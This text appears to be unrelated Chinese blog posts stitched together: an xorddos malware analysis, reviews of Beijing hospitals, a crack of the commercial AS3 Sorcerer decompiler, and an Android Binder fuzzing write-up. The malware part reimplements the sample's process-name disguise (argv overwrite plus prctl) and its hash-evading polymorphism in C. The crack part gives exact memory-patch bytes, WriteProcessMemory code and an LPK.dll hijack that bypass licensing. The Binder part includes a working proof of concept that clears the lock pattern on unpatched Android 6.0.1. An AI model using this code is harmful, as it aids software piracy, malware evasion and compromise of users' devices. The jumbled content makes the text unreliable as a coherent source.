.text:0804B5D3 lea eax, [ebp+var_18]
.text:0804B5D6 mov [esp+4], eax
.text:0804B5DA lea eax, [ebp+self_path]
.text:0804B5E0 mov [esp], eax
.text:0804B5E3 call readfile
.text:0804B5E8 mov edx, [ebp+argv_arr]
.text:0804B5EE mov ebx, [edx+4]
.text:0804B5F1 mov [ebp+self_file_content], eax
.text:0804B5F7 mov [esp], ebx
.text:0804B5FA call strlen
.text:0804B5FF mov [esp+4], ebx
.text:0804B603 mov [esp+8], eax
.text:0804B607 lea eax, [ebp+fake_cmd]
.text:0804B60D mov [esp], eax
.text:0804B610 call memmove
.text:0804B615 mov dword ptr [esp+0Ch], 0
.text:0804B61D mov dword ptr [esp+8], 0Ah
.text:0804B625 mov dword ptr [esp+4], 0
.text:0804B62D mov edx, [ebp+argv_arr]
.text:0804B633 mov eax, [edx+8]
.text:0804B636 mov [esp], eax
.text:0804B639 call __strtol_internal
.text:0804B63E mov esi, eax
.text:0804B640 mov eax, [ebp+argv_arr]
.text:0804B646 mov ebx, [eax]
.text:0804B648 mov [esp], ebx
.text:0804B64B call strlen
.text:0804B650 mov [esp], ebx
.text:0804B653 mov dword ptr [esp+4], 0
.text:0804B65B mov [esp+8], eax
.text:0804B65F call memset
.text:0804B664 mov edx, [ebp+argv_arr]
.text:0804B66A mov ebx, [edx+4]
.text:0804B66D mov [esp], ebx
.text:0804B670 call strlen
.text:0804B675 mov [esp], ebx
.text:0804B678 mov dword ptr [esp+4], 0
.text:0804B680 mov [esp+8], eax
.text:0804B684 call memset
.text:0804B689 mov eax, [ebp+argv_arr]
.text:0804B68F mov ebx, [eax+8]
.text:0804B692 mov [esp], ebx
.text:0804B695 call strlen
.text:0804B69A mov [esp], ebx
.text:0804B69D mov dword ptr [esp+4], 0
.text:0804B6A5 mov [esp+8], eax
.text:0804B6A9 call memset
.text:0804B6AE lea edx, [ebp+fake_cmd]
.text:0804B6B4 mov [esp+4], edx
.text:0804B6B8 mov edx, [ebp+argv_arr]
.text:0804B6BE mov eax, [edx]
.text:0804B6C0 mov [esp], eax
.text:0804B6C3 call strcpy
.text:0804B6C8 lea eax, [ebp+filename]
.text:0804B6CE mov [esp+0Ch], esi
.text:0804B6D2 lea esi, [ebp+randstr_10]

上面代码的原理大致等同于下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
sleep(300);
}

编译后执行可以看到效果和运行样本的一样。

1
2
3
4
5
6
7
8
9
10
11
➜  ~ gcc -o fakeexe exe.c
➜ ~ ./fakeexe "ls -al" 2554

➜ ~ cat /proc/2605/cmdline
ls -al

➜ ~ ls -l /proc/2605/exe
lrwxrwxrwx. 1 henices henices 0 8月 2 12:01 /proc/2605/exe -> /home/henices/research/xorddos/fakeexe

➜ ~ ps -elf | grep "ls -al" | grep -v grep
0 S henices 2605 25307 0 80 0 - 1043 hrtime 12:01 pts/5 00:00:00 ls -al

其实效果并不好,可以轻易发现踪迹。

1
2
➜  ~ ps -e | grep fakeexe
2605 pts/9 00:00:00 fakeexe

其实有更好的做法,使用 prctl ,至少可以把ps给搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>

int main(int argc, char **argv){
char fake_cmd[256];
memset(&fake_cmd, 0, 256);
char * argv_arr_1 = argv[1];
int argv_arr_1_length = strlen(argv[1]);
memmove(&fake_cmd, argv_arr_1, argv_arr_1_length);
long pid_long = strtol(argv[2], 0, 10);
char * v29 = (char *)*argv;
int v30 = strlen(*argv);
memset(v29, 0, v30);
char * v31 = argv[1];
int v32 = strlen(argv[1]);
memset(v31, 0, v32);
char * v33 = argv[2];
int v34 = strlen(argv[2]);
memset(v33, 0, v34);
strcpy(*argv, fake_cmd);
prctl(PR_SET_NAME, "bash");
sleep(300);
}

编译执行后可以看到效果。

1
2
3
4
5
6
7
8
➜  ~ ps -e | grep bash
4858 pts/5 00:00:00 bash

➜ ~ cat /proc/4858/cmdline
ls -al

➜ ~ lsof -d txt | grep fakeexe
bash 4858 henices txt REG 253,2 8816 4588423 /home/henices/research/xorddos/fakeexe

xorddos 的多态 (Polymorphic)

xorddos这个样本还值得一提的是,这个样本会不断变化,多态这个词翻译的可能不太准确,
可以参见上面的英文,自行理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl randmd5(char *filename)
{
int fd; // eax@1
int fd_dup; // esi@1
mode_t v4; // [sp+8h] [bp-20h]@0
int addr; // [sp+15h] [bp-13h]@1
int v6; // [sp+19h] [bp-Fh]@1
__int16 v7; // [sp+1Dh] [bp-Bh]@1
char v8; // [sp+1Fh] [bp-9h]@1

addr = 0;
v6 = 0;
v7 = 0;
v8 = 0;
fd = open(filename, 1, v4);
fd_dup = fd;
if ( fd > 0 )
{
lseek(fd, 0, SEEK_END);
randstr((int)&addr, 10);
write(fd_dup, &addr, 11u);
close(fd_dup);
}
return 0;
}

xorddos 样本多态主要就是用这个函数,每次在文件末尾写上10个字节的随机字符。
这样样本md5和大小都会发生变化,使得一些检测方法失效。

其他

正因为这种隐藏方法并不理想,后面xorddos出现了带rootkit的版本,进化了。

作为一个长期在帝都紫竹桥混吃的中年大叔,经常遇到需要看病的情况,主要需求有两个 (大人看病,小孩看病)。

总结附近医院情况,个人理解,供参考:

466:

缺点:没有儿科,巨贵,感觉医生喜欢过度治疗,据说一些科室已被私人承包,媳妇和自己都被坑过。
优点:离紫竹桥距离近,三甲,人通常比较少,小病,偷懒的时候可以过去。据说牙科不错,但是我没有去过。

304:

缺点:信息化程度相对较弱,但是看病流程梳理得不错。
优点:三甲,有儿科,对小儿看病有一定优待。医生水平不错,小孩在这看过几次,治疗效果不错。

四季青:

缺点:二级医院,儿科有的医生感觉不太专业。
优点:挂号方便,有儿科,医院较大。

北方医院:

缺点:二级医院, 医院较小。
优点:离紫竹桥距离近,有保健科,小孩打预防针不错。

空总:

在这个医院多个科室看过病,家人还在这做过微创手术。

缺点:挂号有点难,人多,儿科水平一般。
优点:三甲,皮肤科北京有名,各科室水平比较均衡。信息化程度高,看病挺方便。

海总:

这个医院我没有去过,距离稍远。

AS3 Sorcerer是一款flash action Script的商业反编译软件。 www.as3sorcerer.com

软件为Delphi编写,加了未知壳,使用PEID 0.94无法正确查出,使用核心扫描发现是
Delphi编写,这个软件有一个特点修改一个字节就报错。由于时间原因没有具体跟相关代码。

破解方法使用LPK.dll动态修改as3.exe内存达到破解目前,在Windows Xp下比较完美,
在Windows 7下已经无法通过LPK.dll进行DLL hijack,可以通过DLL注入达到同样的目的。

难点有几个,OD加载报错,attack也报错。使用海风月影的StrongOD可以正常attach。
OD 1.1目前最大的问题是插件冲突严重,安装了OllyAdv后,无法成功加载as3.exe.
遇上强壳时可以使用phantom的protect DRx,可以解决一下问题,总之要尽量避免冲突。
接下来的难点就是如何找到破解的关键点,进行内存patch。

使用OD查找字符串参考Unicode,搜索trial

1
2
3
4
5
006974C2    E8 65ABFDFF     call    0067202C
006974C7 84C0 test al, al
006974C9 75 1C jnz short 006974E7
006974CB B9 E4756900 mov ecx, 006975E4 ; e
006974D0 BA 50766900 mov edx, 00697650 ;Sorry!

这里有个坑,在OD中看到的代码有可能不是最终运行的代码,只有真正在OD里断下,进
入程序领空后,看到的代码才是解密后的真正代码。这里在这里浪费了很多时间。换句
话说就是要先保证能调试起来,能调试能下断点基本就成功了一半。

上面的代码是非常经典的关键代码,主要处理了 0067202C让它返回1就OK了。F7跟进

1
2
3
4
5
6
7
8
0067202C  - E9 EE9D1900     jmp     0080BE1F
00672031 CC int3
00672032 CC int3
00672033 CC int3
00672034 CC int3
00672035 CC int3
00672036 CC int3
00672037 90 nop

进入就去一个jmp,后面的大段跳转非常多,跟踪困难。好在有很多int3,可以自己
写一段汇编代码解决。

1
2
3
4
5
6
7
8
0067202C    33C0            xor     eax, eax
0067202E 83C0 01 add eax, 0x1
00672031 90 nop
00672032 90 nop
00672033 90 nop
00672034 90 nop
00672035 90 nop
00672036 C3 retn

核心代码

1
2
3
4
5
6
7
8
9
10
HANDLE handle = GetModuleHandle(NULL);

int RVA = 0x67202C - 0x400000;
int VA = int(handle) + RVA;

unsigned char p405213[11] = {
0x33, 0xC0, 0x83, 0xC0, 0x01, 0x90, 0x90, 0x90, 0x90, 0x90, 0xC3
};
VirtualProtectEx(hProcess, (LPVOID)VA, 11, PAGE_EXECUTE_READWRITE, &Oldpp);
WriteProcessMemory(hProcess, (LPVOID)VA, p405213, 11, NULL);

GetModuleHandle用于动态获取进程加载基址。

LPK.dll

Windows 7 不能默认已经不能使用LPK.dll,必须导入下面注册表键值,重启电脑
才能使用。

1
2
3
4
5
Windows Registry Editor Version 5.00 

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,\
00,00

1. binder 简介

Android安全模型的一个关键部分是每一个应用程序都被赋予一个唯一的 Linux 用户 ID 和组 ID,运行在自己的进程和 Dalvik 虚拟机里。
在应用程序安装的过程中,Android系统设备上创建一个专门的目录(文件夹),用于存储此应用程序的数据,并且仅允许应用程序利用
Linux 用户 ID 和组 ID 的相应访问权限对这些数据进行访问。此外,此应用程序的 Dalvik 虚拟机使用应用程序的用户 ID 运行在自己的进程中。
这些关键的机制在操作系统层面上强制数据安全,因为应用程序之间不共享内存、访问权限及磁盘存储。应用程序只能在它们自己的 Dalvik 虚拟机范围内访问内存和数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ps
...

u0_a16 2757 882 2574956 116944 SyS_epoll+ 0 S com.google.android.gms.persistent
u0_a128 2774 883 1939084 87720 SyS_epoll+ 0 S com.ss.android.article.news:push
u0_a16 2850 882 2322980 46592 SyS_epoll+ 0 S com.google.process.gapps
u0_a128 2887 883 2190568 181868 SyS_epoll+ 0 S com.ss.android.article.news
u0_a37 2900 882 2430908 58316 SyS_epoll+ 0 S com.google.android.googlequicksearchbox:interactor
nfc 2918 882 2351828 62356 SyS_epoll+ 0 S com.android.nfc
u0_a45 2930 882 2309884 43576 SyS_epoll+ 0 S se.dirac.acs
radio 2945 882 2313144 45592 SyS_epoll+ 0 S net.oneplus.push
u0_a0 2956 882 2304600 36360 SyS_epoll+ 0 S com.oneplus
system 2967 882 2307276 38088 SyS_epoll+ 0 S com.fingerprints.serviceext
system 2985 882 2309992 42044 SyS_epoll+ 0 S com.oneplus.opbugreportlite
u0_a142 2997 882 2370296 93324 SyS_epoll+ 0 S com.oneplus.aod
u0_a16 3018 882 2731976 165828 SyS_epoll+ 0 S com.google.android.gms
...

Android app 是由 Activity、Service、Broadcast 和 Content Provider 四大组件构成,而这些组件可能运行在同一进程中,也可能运行在不同的
进程中,而像 PowerManagerService等重要服务都运行在核心进程 system_server 里,所以 Android 系统必须实现一个靠谱的进程间通信机制 (IPC)。
Android系统基于 Linux 开发,Linux 中有很多进程间通信的方法,如 Signal、Pipe、Socket、Share Memeory、Semaphore, 但是 Android 系统并没有使用
这些进程间通信的方法,而是基于 OpenBinder 自己开发了一套进程通信的方法,Binder 是 Android 系统 IPC 通信的机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ adb shell ps | grep system_server
system 63 32 120160 35408 ffffffff afd0c738 S system_server

$ adb logcat | grep "63)"
...
D/PowerManagerService( 63): bootCompleted
I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp...
I/TelephonyRegistry( 63): notifyDataConnection: state=0 isDataConnectivityPossible=false reason=null
interfaceName=null networkType=3
I/SearchManagerService( 63): Building list of searchable activities
I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true
I/ActivityManager( 63): Config changed: { scale=1.0 imsi=310/260 loc=en_US touch=3 keys=2/1/2 nav=3/1 ...
I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false
I/TelephonyRegistry( 63): notifyCallForwardingChanged: false
I/TelephonyRegistry( 63): notifyDataConnection: state=1 isDataConnectivityPossible=true reason=simL...
I/TelephonyRegistry( 63): notifyDataConnection: state=2 isDataConnectivityPossible=true reason=simL...
D/Tethering( 63): MasterInitialState.processMessage what=3
I/ActivityManager( 63): Start proc android.process.media for broadcast
com.android.providers.downloads/.DownloadReceiver: pid=223 uid=10002 gids={1015, 2001, 3003}
I/RecoverySystem( 63): No recovery log file
W/WindowManager( 63): App freeze timeout expired.

binder

2. Binder 架构

Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计,
大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。

1

从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。

2

图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。

3. 为什么要 fuzz binder

把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限
的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中,
有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。

weakness

存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。

4. 实现

在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。

4.1 直接调用 ioctl

实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。

ioctl

其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read 数据结构的构造。

1
int fd = open("/dev/binder", O_RDWR);

4.2 Native 层

在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder
的 transcat 来调用相应的Binder 接口函数,参考:

https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp

调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:

5

code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
String16 get_interface_name(sp<IBinder> service)
{
if (service != NULL) {
Parcel data, reply;
status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply);
if (err == NO_ERROR) {
return reply.readString16();
}
}
return String16();
}

int main(int argc, char** argv).
{
sp<IServiceManager> sm = defaultServiceManager();
Vector<String16> services = sm->listServices();

for (uint32_t i = 0; i < services.size(); i++) {
String16 name = services[i];
sp<IBinder> service = sm->checkService(name);
String16 ifName = get_interface_name(service);
if (service != NULL && ifName.size() > 0) {

for (uint32_t code = 0; code <= 100; code++) {
aout << "ifName: " << ifName << ", code: " << code << endl;

Parcel data, reply;
data.writeInterfaceToken(ifName);
for (uint32_t i = 0; i < random() % 800; i++ ) {
uint32_t a = random();
aout << "data[" << i << "]: " << a << endl;
data.writeInt32(a);
}
service->transact(code, data, &reply, 1);
}
}
}
return 0;
}

4.3 Java 应用层

到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。

1) 获取所有运行的services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String[] getServices() {
String[] services = null;
try {
services = (String[]) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("listServices").invoke(null);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return services;
}

2) 获得对应服务的IBinder 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

3) 利用反射获取对应接口的所有code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public HashMap<String,Integer> getBinderCode(String interfaceDescriptor) {
HashMap<String, Integer> codes = new HashMap<>();

if (interfaceDescriptor == null)
return codes;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub");
Field[] f = cStub.getDeclaredFields();
for (Field field : f) {
field.setAccessible(true);
String k= field.toString().split("\\$Stub\\.")[1];
if (k.contains("TRANSACTION"))
codes.put(k, (int)field.get(this));
}
} catch (Exception e) {
}

return codes;
}

4) 利用反射获取对应接口所有调用的参数类型

binder call 的参数类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public HashMap<String, List<String>>
getBinderCallParameter(String interfaceDescriptor,
HashMap<String, Integer> codes) {
HashMap<String, List<String>> ret = new HashMap();

if (interfaceDescriptor == null)
return ret;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub$Proxy");
Method[] m = cStub.getDeclaredMethods();

for (Method method : m) {
int func_code = 0;
List<String> func_parameter = new ArrayList<>();

method.setAccessible(true);
String func_name = method.toString().split("\\$Stub\\$Proxy\\.")[1];
func_parameter.add(func_name);

for (String key : codes.keySet()) {
if (func_name.contains(key.substring("TRANSACTION_".length())))
func_code = codes.get(key);
}

if (func_code == 0)
continue;

Class<?>[] ParameterTypes = method.getParameterTypes();
for (int k=0; k < ParameterTypes.length; k++) {
func_parameter.add(ParameterTypes[k].toString());
}

ret.put(Integer.toString(func_code), func_parameter);
}
} catch (Exception e) {
}

return ret;
}

5)Binder 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}
public void fuzz (int code, String Service) {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

IBinder serviceBinder = BinderInfo.getIBinder(service);
serviceBinder.transact(code, data, reply, 0);
}

上面的几个步骤已经全部java 代码实现,可行。

5. 实现方法的分析于比较

ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。
所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的
代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。

6. Fuzz 数据的生成

可以考虑移植 radasma 到 Android 平台

1
2
3
4
5
6
7
8
9
10
11
$ git clone https://github.com/anestisb/radamsa-android.git
$ cd radamsa-android
$ export PATH=$PATH:NDK_PATH
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \
APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \
NDK_TOOLCHAIN=arm-linux-androideabi-4.9


[armeabi-v7a] Compile thumb : radamsa <= radamsa.c
[armeabi-v7a] Executable : radamsa
[armeabi-v7a] Install : radamsa => libs/armeabi-v7a/radamsa

6.1 更新 radamsa-android

github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植
到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换
radamsa-android/jni 目录下的 radamsa.c

然后在文件中添加下面代码, 重新编译即可:

1
2
3
4
5
6
#ifdef ANDROID
#include <arpa/inet.h>
#ifndef WIFCONTINUED
#define WIFCONTINUED(stat) 0
#endif
#endif

7. Fuzz 出来的一些漏洞

1) htc m8 零权限打开闪光灯

1
2
3
4
5
6
7
8
9
10
IBinder serviceBinder = getIBinder("media.camera");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[1024]);
serviceBinder.transact(8, data1, reply1, 0);
} catch (Exception e) {}

2) Android 6.0.1 MOB3OM 手势密码清除漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public void attack() {
IBinder serviceBinder = getIBinder("lock_settings");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[255]);
serviceBinder.transact(7, data1, reply1, 0);
} catch (RemoteException e) {}
}

public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查,
导致apk 不需要任何权限就可以将手势密码清除.

这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700

https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0

但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.

参考资料